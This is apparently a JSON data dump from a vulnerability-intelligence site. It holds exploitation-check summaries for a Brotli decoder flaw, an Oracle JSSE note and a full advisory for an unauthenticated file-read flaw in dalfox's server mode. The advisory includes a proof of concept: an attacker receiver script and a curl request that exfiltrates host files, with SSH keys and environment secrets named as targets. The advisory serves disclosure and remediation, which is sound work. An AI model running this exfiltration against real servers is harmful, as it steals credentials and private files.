[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-45088":30,"landing-articles":113},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":51,"technologies":54,"references":56,"score":61,"epss_score":62,"epss_percentile":63,"is_kev":64,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":65,"attack_mappings":75,"exploits":112},4627,"CVE-2026-45088","EUVD-2026-32616","Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file`\n\n## Summary\n\nWhen dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N`\n\n- **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low — no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control.\n- **Privileges Required:** None — `--api-key` defaults to `\"\"`, so the auth middleware is not registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.\n- **Confidentiality Impact:** High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `\u002Fetc\u002Fpasswd`, etc.\n- **Integrity Impact:** None — this path is read-only.\n- **Availability Impact:** None.\n\n## Affected Component\n\n- `cmd\u002Fserver.go` — `init()` (line 51): `--api-key` defaults to `\"\"` — no auth by default\n- `pkg\u002Fserver\u002Fserver.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg\u002Fserver\u002Fserver.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization\n- `lib\u002Ffunc.go` — `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options\n- `pkg\u002Fscanning\u002Fscan.go` — anonymous block (lines 341–368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-73**: External Control of File Name or Path\n- **CWE-552**: Files or Directories Accessible to External Parties\n\n## Description\n\n### `custom-payload-file` Is Fully Attacker-Controlled\n\n`model.Options` exposes `CustomPayloadFile` with a JSON tag:\n\n```go\n\u002F\u002F pkg\u002Fmodel\u002Foptions.go:33\nCustomPayloadFile string `json:\"custom-payload-file,omitempty\"`\n```\n\n`postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`:\n\n```go\n\u002F\u002F pkg\u002Fserver\u002Fserver.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`:\n\n```go\n\u002F\u002F pkg\u002Fserver\u002Fscan.go:22-27\ntarget := dalfox.Target{\n    URL:     url,\n    Method:  rqOptions.Method,\n    Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering:\n\n```go\n\u002F\u002F lib\u002Ffunc.go:117\n\"CustomPayloadFile\": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},\n```\n\n### File Read and Exfiltration Path\n\nIn `pkg\u002Fscanning\u002Fscan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:\n\n```go\n\u002F\u002F pkg\u002Fscanning\u002Fscan.go:341-366\nif (options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])) && options.CustomPayloadFile != \"\" {\n    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)\n    if err != nil {\n        printing.DalLog(\"SYSTEM\", \"Failed to load custom XSS payload file\", options)\n    } else {\n        for _, customPayload := range ff {\n            if customPayload != \"\" {\n                for k, v := range params {\n                    if optimization.CheckInspectionParam(options, k) {\n                        ...\n                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, \"inHTML\"+ptype, \"toAppend\", encoder, options)\n                        query[tq] = tm\n                    }\n                }\n            }\n        }\n    }\n}\n```\n\nEach line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., `?q=\u003Cfile-line>`).\n\n### Condition Is Trivially Satisfiable\n\nThe condition `options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])` is satisfied by setting `skip-discovery: true` in the JSON request body — a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: [\"q\"]`. The code then hardcodes `policy[\"Content-Type\"] = \"text\u002Fhtml\"` and populates `params[\"q\"]` automatically:\n\n```go\n\u002F\u002F pkg\u002Fscanning\u002Fscan.go:224-240\nif len(options.UniqParam) == 0 {\n    return scanResult, fmt.Errorf(\"--skip-discovery requires parameters to be specified with -p flag\")\n}\nfor _, paramName := range options.UniqParam {\n    params[paramName] = model.ParamResult{\n        Name: paramName, Type: \"URL\", Reflected: true, Chars: payload.GetSpecialChar(),\n    }\n}\npolicy[\"Content-Type\"] = \"text\u002Fhtml\"\n```\n\nBoth conditions are fully attacker-controlled through the JSON request body.\n\n### No Defense at Any Layer\n\nThe same opt-in API key guard from the first finding applies identically here:\n\n```go\n\u002F\u002F pkg\u002Fserver\u002Fserver.go:68-70\nif options.ServerType == \"rest\" && options.APIKey != \"\" {\n    e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nWith the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read.\n\n## Proof of Concept\n\n```bash\n# Step 1 — Attacker-controlled receiver (logs q= parameter to stdout)\npython3 - \u003C\u003C'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]\n        print(\"[RECEIVED] q =\", q, flush=True)\n        body = b'\u003Chtml>\u003Cbody>ok\u003C\u002Fbody>\u003C\u002Fhtml>'\n        self.send_response(200)\n        self.send_header('Content-Type', 'text\u002Fhtml')\n        self.send_header('Content-Length', str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n    def log_message(self, *a): pass\nHTTPServer(('127.0.0.1', 18081), H).serve_forever()\nPY\n\n# Step 2 — Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 — Exfiltrate \u002Fetc\u002Fhostname (or any file readable by the dalfox process)\ncurl -s -X POST http:\u002F\u002F127.0.0.1:16664\u002Fscan \\\n  -H 'Content-Type: application\u002Fjson' \\\n  --data '{\n    \"url\": \"http:\u002F\u002F127.0.0.1:18081\u002F?q=test\",\n    \"options\": {\n      \"custom-payload-file\": \"\u002Fetc\u002Fhostname\",\n      \"only-custom-payload\": true,\n      \"skip-discovery\": true,\n      \"param\": [\"q\"],\n      \"use-headless\": false,\n      \"worker\": 1\n    }\n  }'\n\n# Expected output on the receiver (Step 1 terminal):\n# [RECEIVED] q = myhostname.local\n\n# For multi-line files (e.g. \u002Fetc\u002Fpasswd), each line arrives as a separate request\n```\n\nNo `X-API-KEY` header is required. Replace `\u002Fetc\u002Fhostname` with any file path accessible to the dalfox process (e.g., `~\u002F.ssh\u002Fid_rsa`, `\u002Frun\u002Fsecrets\u002Fdb_password`, `\u002Fproc\u002Fself\u002Fenviron`).\n\n## Impact\n\n- **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `\u002Fproc\u002Fself\u002Fenviron`) can be exfiltrated one line at a time.\n- **No authentication required** under the default configuration.\n- The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.\n- Combined with the `found-action` RCE finding (separate issue), an attacker could first read `\u002Fproc\u002Fself\u002Fenviron` to harvest secrets, then execute commands.\n\n## Recommended Remediation\n\n### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)\n\nApply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:\n\n```go\n\u002F\u002F pkg\u002Fserver\u002Fserver.go — in postScanHandler, before ScanFromAPI:\nrq.Options.CustomPayloadFile = \"\"\nrq.Options.CustomBlindXSSPayloadFile = \"\"\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\nrq.Options.OutputFile = \"\"\nrq.Options.HarFilePath = \"\"\n```\n\n### Option 2: Require `--api-key` at server startup\n\nMake authentication mandatory and refuse to start without it:\n\n```go\n\u002F\u002F cmd\u002Fserver.go — in runServerCmd:\nif serverType == \"rest\" && apiKey == \"\" {\n    fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n    os.Exit(1)\n}\n```\n\nBoth options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https:\u002F\u002Fgithub.com\u002Fdrmingler","2026-05-12T15:08:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":44,"confidentialityImpact":42},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","NONE","LOW",true,[48,49,50],"CWE-73","CWE-306","CWE-552",[52,53],"cpe:2.3:a:hahwul:dalfox:*:*:*:*:*:*:*:*","cpe:2.3:a:hahwul:dalfox:2.12.0:*:*:*:*:*:*:*",[55],"Hahwul Dalfox",[57,58,59,60],"https:\u002F\u002Fgithub.com\u002Fhahwul\u002Fdalfox\u002Freleases\u002Ftag\u002Fv2.13.0","https:\u002F\u002Fgithub.com\u002Fhahwul\u002Fdalfox\u002Fsecurity\u002Fadvisories\u002FGHSA-35wr-x7v6-9fv2","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-45088","https:\u002F\u002Fgithub.com\u002Fhahwul\u002Fdalfox",0.57,0.00251,0.16301,false,{"timestamp":66,"automatable":67,"tech_impact":68,"exploitation":69,"cisa_decision":70,"cisa_remediation_timeline":74},"2026-05-27T17:56:40.382510Z","yes","partial","poc",{"vector":71,"decision":72,"priority":73},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T04:02:00.585223\u002F","attend","medium","14D",[76,82,91,99,105],{"name":77,"source":78,"tactics":79,"technique_id":81},"Exploit Public-Facing Application","attack_vector",[80],"initial-access","T1190",{"name":83,"source":84,"cwe_ids":85,"tactics":86,"capec_ids":88,"technique_id":90},"Obfuscated Files or Information","capec",[48],[87],"stealth",[89],"CAPEC-267","T1027",{"name":92,"source":84,"cwe_ids":93,"tactics":94,"capec_ids":96,"technique_id":98},"Dynamic Linker Hijacking",[48],[95,87],"execution",[97],"CAPEC-13","T1574.006",{"name":100,"source":84,"cwe_ids":101,"tactics":102,"capec_ids":103,"technique_id":104},"Path Interception by PATH Environment Variable",[48],[95,87],[97],"T1574.007",{"name":106,"source":84,"cwe_ids":107,"tactics":108,"capec_ids":110,"technique_id":111},"Prevent Command History Logging",[48],[109],"defense-impairment",[97],"T1690",[],{"count":114,"next":115,"previous":6,"results":116},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[117,125,133],{"id":118,"title":119,"summary":120,"published_at":121,"type":122,"link":123,"image_url":124},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":126,"title":127,"summary":128,"published_at":129,"type":130,"link":131,"image_url":132},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":134,"title":135,"summary":136,"published_at":137,"type":138,"link":139,"image_url":140},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]